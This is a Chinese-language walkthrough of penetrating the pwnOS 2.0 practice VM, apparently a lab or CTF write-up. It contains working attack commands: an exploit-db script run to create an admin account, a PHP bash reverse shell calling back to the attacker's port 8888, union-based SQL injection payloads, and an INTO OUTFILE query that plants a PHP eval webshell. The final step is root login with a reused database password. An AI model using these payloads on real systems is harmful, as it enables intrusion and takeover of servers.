本文介绍靶机PWNOS: 2.0 的渗透方法,由于靶机系统比较老,尝试了几种不同的角度获得shell和提权。
1 环境搭建
根据提示信息,需要将网段设置为10.10.10.0/24,靶机ip为10.10.10.100。可以配置仅主机模式或NAT模式网卡,建议使用NAT模式。
本文采用仅主机模式实验:
然后将攻击机(kali2022)和靶机的网卡都设置为VMnet1。
在攻击机中手动设置ip地址:
ifconfig eth0 10.10.10.128 netmask 255.255.255.0
然后ping一下靶机,确保能连接:
ping -c 4 10.10.10.100
2 端口扫描
扫描开放端口以及靶机的系统信息
nmap -sV -p- -A 10.10.10.100
发现开放了http和ssh服务,后续可以先从网站入手。内核版本为比较老的2.6.x。
尝试漏洞扫描:
nmap -sS 10.10.10.100 --script=vuln
扫描出了两个地方可能有csrf漏洞,这里先不考虑。还有一些网站目录,后续可以访问看看内容。
3 渗透方法一:CMS系统漏洞
访问10.10.10.100/blog
页面像是某个cms系统,可以先用whatweb扫描一下
注意到框架:Simple PHP Blog 0.4.0
查看网页源码信息也可以看到。
直接搜索该框架的漏洞数据:
下面分别尝试这两种方法。
3.1 创建用户+文件上传
查看1191.pl的信息
关注使用方法,注意到第三个方法可以创建新用户。
利用脚本:
cp /usr/share/exploitdb/exploits/php/webapps/1191.pl /root
perl 1191.pl -h http://10.10.10.100/blog -e 3 -U admin -P 123
成功创建了admin:123的用户。
使用创建的新用户登录
登录成功后在菜单中发现上传图片的按钮:
这里并没有对上传的文件做过滤,于是可以写入反弹连接的木马上传到服务器,反弹连接到kali的8888端口。
echo "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/8888 0>&1'\"); ?>" > shell.php
通过猜测或者目录扫描,可以发现文件上传的目录为 http://10.10.10.100/blog/images/
先监听端口:
直接访问http://10.10.10.100/blog/images/shell.php。
成功拿到shell
3.2 使用msf利用RCE
打开msfconsole找到对应漏洞
设置攻击机和靶机的ip和URI即可。
成功获得shell
4 渗透方法二:SQL注入
本文使用手工sql注入的方法,使用bp浏览器访问登录页面,随便输入一个用户名密码抓包:
在repeater模块,修改email字段的值为1'
此时发现sql语句报错的信息,说明此处存在sql注入。
采用' union select 1 -- - 的方式不断增加列数,直到回显信息不再报错为止。
' union select 1 -- -
' union select 1,2 -- -
...
' union select 1,2,3,4,5,6,7,8 -- -
一直到第8列,回显信息有Welcome 4,第4个字段可能是可利用字段,把它改成version()试试能不能回显版本信息。
结果发现能看到版本信息,于是可以通过这个注入点搜集数据库各种信息。
通过sql注入在根目录下写入一句话木马:
' union select null,null,null,"<?php @eval($_POST['123']); ?>",null,null,null,null into outfile '/var/www/ok.php' -- -
用蚁剑连接
5 提权
拿到shell后,查看var目录下的文件:
发现文件mysqli_connect.php,可能是个数据库配置文件,查看该文件:
直接用这个密码登录系统root用户,发现可以成功登录